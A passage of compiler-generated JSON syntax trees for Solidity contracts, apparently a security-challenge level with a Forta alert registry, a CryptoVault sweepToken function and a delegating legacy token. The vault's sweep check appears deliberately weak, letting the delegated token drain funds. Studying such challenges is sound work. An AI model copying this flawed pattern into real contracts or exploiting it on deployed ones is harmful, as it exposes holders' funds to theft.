IDetectionBot"}],"id":51558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1262:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51557,"name":"address","nodeType":"ElementaryTypeName","src":"1262:7:71","typeDescriptions":{}}},"id":51562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":51563,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1299:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1299:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1262:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51567,"nodeType":"IfStatement","src":"1258:60:71","trueBody":{"functionReturnParameters":51556,"id":51566,"nodeType":"Return","src":"1311:7:71"}},{"expression":{"id":51573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51568,"name":"botRaisedAlerts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51500,"src":"1327:15:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":51571,"indexExpression":{"expression":{"id":51569,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1343:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1347:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1343:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1327:27:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"hexValue":"31","id":51572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1358:1:71","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1327:32:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":51574,"nodeType":"ExpressionStatement","src":"1327:32:71"}]},"baseFunctions":[51488],"functionSelector":"087a43c1","implemented":true,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"1205:10:71","overrides":{"id":51555,"nodeType":"OverrideSpecifier","overrides":[],"src":"1239:8:71"},"parameters":{"id":51554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51553,"mutability":"mutable","name":"user","nameLocation":"1224:4:71","nodeType":"VariableDeclaration","scope":51576,"src":"1216:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51552,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1215:14:71"},"returnParameters":{"id":51556,"nodeType":"ParameterList","parameters":[],"src":"1248:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51490,"name":"IForta","nameLocations":["634:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":51489,"src":"634:6:71"},"id":51491,"nodeType":"InheritanceSpecifier","src":"634:6:71"}],"canonicalName":"Forta","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51577,51489],"name":"Forta","nameLocation":"625:5:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51645,"nodeType":"ContractDefinition","src":"1370:582:71","nodes":[{"id":51579,"nodeType":"VariableDeclaration","src":"1397:35:71","nodes":[],"constant":false,"functionSelector":"3234a197","mutability":"mutable","name":"sweptTokensRecipient","nameLocation":"1412:20:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51578,"name":"address","nodeType":"ElementaryTypeName","src":"1397:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51582,"nodeType":"VariableDeclaration","src":"1438:24:71","nodes":[],"constant":false,"functionSelector":"6f307dc3","mutability":"mutable","name":"underlying","nameLocation":"1452:10:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51581,"nodeType":"UserDefinedTypeName","pathNode":{"id":51580,"name":"IERC20","nameLocations":["1438:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1438:6:71"},"referencedDeclaration":47939,"src":"1438:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"public"},{"id":51592,"nodeType":"FunctionDefinition","src":"1469:80:71","nodes":[],"body":{"id":51591,"nodeType":"Block","src":"1500:49:71","nodes":[],"statements":[{"expression":{"id":51589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51587,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1510:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51588,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51584,"src":"1533:9:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1510:32:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51590,"nodeType":"ExpressionStatement","src":"1510:32:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51584,"mutability":"mutable","name":"recipient","nameLocation":"1489:9:71","nodeType":"VariableDeclaration","scope":51592,"src":"1481:17:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51583,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1480:19:71"},"returnParameters":{"id":51586,"nodeType":"ParameterList","parameters":[],"src":"1500:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51617,"nodeType":"FunctionDefinition","src":"1555:167:71","nodes":[],"body":{"id":51616,"nodeType":"Block","src":"1606:116:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51600,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1632:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"id":51599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1624:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51598,"name":"address","nodeType":"ElementaryTypeName","src":"1624:7:71","typeDescriptions":{}}},"id":51601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1624:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51604,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1655:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51603,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1647:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51602,"name":"address","nodeType":"ElementaryTypeName","src":"1647:7:71","typeDescriptions":{}}},"id":51605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1647:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1624:33:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920736574","id":51607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1659:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""},"value":"Already set"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""}],"id":51597,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1616:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1616:57:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51609,"nodeType":"ExpressionStatement","src":"1616:57:71"},{"expression":{"id":51614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51610,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1683:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51612,"name":"latestToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51594,"src":"1703:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51611,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1696:6:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1696:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1683:32:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51615,"nodeType":"ExpressionStatement","src":"1683:32:71"}]},"functionSelector":"bdb2321f","implemented":true,"kind":"function","modifiers":[],"name":"setUnderlying","nameLocation":"1564:13:71","parameters":{"id":51595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51594,"mutability":"mutable","name":"latestToken","nameLocation":"1586:11:71","nodeType":"VariableDeclaration","scope":51617,"src":"1578:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51593,"name":"address","nodeType":"ElementaryTypeName","src":"1578:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1577:21:71"},"returnParameters":{"id":51596,"nodeType":"ParameterList","parameters":[],"src":"1606:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51644,"nodeType":"FunctionDefinition","src":"1751:199:71","nodes":[],"body":{"id":51643,"nodeType":"Block","src":"1792:158:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"id":51626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51624,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1810:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51625,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1819:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1810:19:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e","id":51627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1831:33:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""},"value":"Can't transfer underlying token"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""}],"id":51623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1802:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1802:63:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51629,"nodeType":"ExpressionStatement","src":"1802:63:71"},{"expression":{"arguments":[{"id":51633,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1890:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":51638,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1936:4:71","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1928:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51636,"name":"address","nodeType":"ElementaryTypeName","src":"1928:7:71","typeDescriptions":{}}},"id":51639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:13:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51634,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1912:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1918:9:71","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1912:15:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51630,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1875:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1881:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47906,"src":"1875:14:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1875:68:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51642,"nodeType":"ExpressionStatement","src":"1875:68:71"}]},"functionSelector":"1be19560","implemented":true,"kind":"function","modifiers":[],"name":"sweepToken","nameLocation":"1760:10:71","parameters":{"id":51621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51620,"mutability":"mutable","name":"token","nameLocation":"1778:5:71","nodeType":"VariableDeclaration","scope":51644,"src":"1771:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51619,"nodeType":"UserDefinedTypeName","pathNode":{"id":51618,"name":"IERC20","nameLocations":["1771:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1771:6:71"},"referencedDeclaration":47939,"src":"1771:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"internal"}],"src":"1770:14:71"},"returnParameters":{"id":51622,"nodeType":"ParameterList","parameters":[],"src":"1792:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CryptoVault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51645],"name":"CryptoVault","nameLocation":"1379:11:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51720,"nodeType":"ContractDefinition","src":"1954:596:71","nodes":[{"id":51654,"nodeType":"VariableDeclaration","src":"2021:29:71","nodes":[],"constant":false,"functionSelector":"c89e4361","mutability":"mutable","name":"delegate","nameLocation":"2042:8:71","scope":51720,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51653,"nodeType":"UserDefinedTypeName","pathNode":{"id":51652,"name":"DelegateERC20","nameLocations":["2021:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2021:13:71"},"referencedDeclaration":51463,"src":"2021:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"public"},{"id":51669,"nodeType":"FunctionDefinition","src":"2057:93:71","nodes":[],"body":{"id":51668,"nodeType":"Block","src":"2116:34:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51664,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51656,"src":"2132:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51658,"src":"2136:6:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51663,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"2126:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2126:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51667,"nodeType":"ExpressionStatement","src":"2126:17:71"}]},"functionSelector":"40c10f19","implemented":true,"kind":"function","modifiers":[{"id":51661,"kind":"modifierInvocation","modifierName":{"id":51660,"name":"onlyOwner","nameLocations":["2106:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2106:9:71"},"nodeType":"ModifierInvocation","src":"2106:9:71"}],"name":"mint","nameLocation":"2066:4:71","parameters":{"id":51659,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51656,"mutability":"mutable","name":"to","nameLocation":"2079:2:71","nodeType":"VariableDeclaration","scope":51669,"src":"2071:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51655,"name":"address","nodeType":"ElementaryTypeName","src":"2071:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51658,"mutability":"mutable","name":"amount","nameLocation":"2091:6:71","nodeType":"VariableDeclaration","scope":51669,"src":"2083:14:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51657,"name":"uint256","nodeType":"ElementaryTypeName","src":"2083:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2070:28:71"},"returnParameters":{"id":51662,"nodeType":"ParameterList","parameters":[],"src":"2116:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51682,"nodeType":"FunctionDefinition","src":"2156:114:71","nodes":[],"body":{"id":51681,"nodeType":"Block","src":"2231:39:71","nodes":[],"statements":[{"expression":{"id":51679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51677,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2241:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51678,"name":"newContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51672,"src":"2252:11:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"src":"2241:22:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51680,"nodeType":"ExpressionStatement","src":"2241:22:71"}]},"functionSelector":"1d2d8400","implemented":true,"kind":"function","modifiers":[{"id":51675,"kind":"modifierInvocation","modifierName":{"id":51674,"name":"onlyOwner","nameLocations":["2221:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2221:9:71"},"nodeType":"ModifierInvocation","src":"2221:9:71"}],"name":"delegateToNewContract","nameLocation":"2165:21:71","parameters":{"id":51673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51672,"mutability":"mutable","name":"newContract","nameLocation":"2201:11:71","nodeType":"VariableDeclaration","scope":51682,"src":"2187:25:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51671,"nodeType":"UserDefinedTypeName","pathNode":{"id":51670,"name":"DelegateERC20","nameLocations":["2187:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2187:13:71"},"referencedDeclaration":51463,"src":"2187:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"internal"}],"src":"2186:27:71"},"returnParameters":{"id":51676,"nodeType":"ParameterList","parameters":[],"src":"2231:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51719,"nodeType":"FunctionDefinition","src":"2276:272:71","nodes":[],"body":{"id":51718,"nodeType":"Block","src":"2352:196:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51694,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2374:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"id":51693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2366:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51692,"name":"address","nodeType":"ElementaryTypeName","src":"2366:7:71","typeDescriptions":{}}},"id":51695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2366:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2395:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2387:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51696,"name":"address","nodeType":"ElementaryTypeName","src":"2387:7:71","typeDescriptions":{}}},"id":51699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2387:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2366:31:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":51716,"nodeType":"Block","src":"2462:80:71","statements":[{"expression":{"arguments":[{"id":51710,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2509:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51711,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2513:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":51712,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2520:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:6:71","memberName":"sender","nodeType":"MemberAccess","src":"2520:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51708,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2483:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2492:16:71","memberName":"delegateTransfer","nodeType":"MemberAccess","referencedDeclaration":51462,"src":"2483:25:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$_t_address_$returns$_t_bool_$","typeString":"function (address,uint256,address) external returns 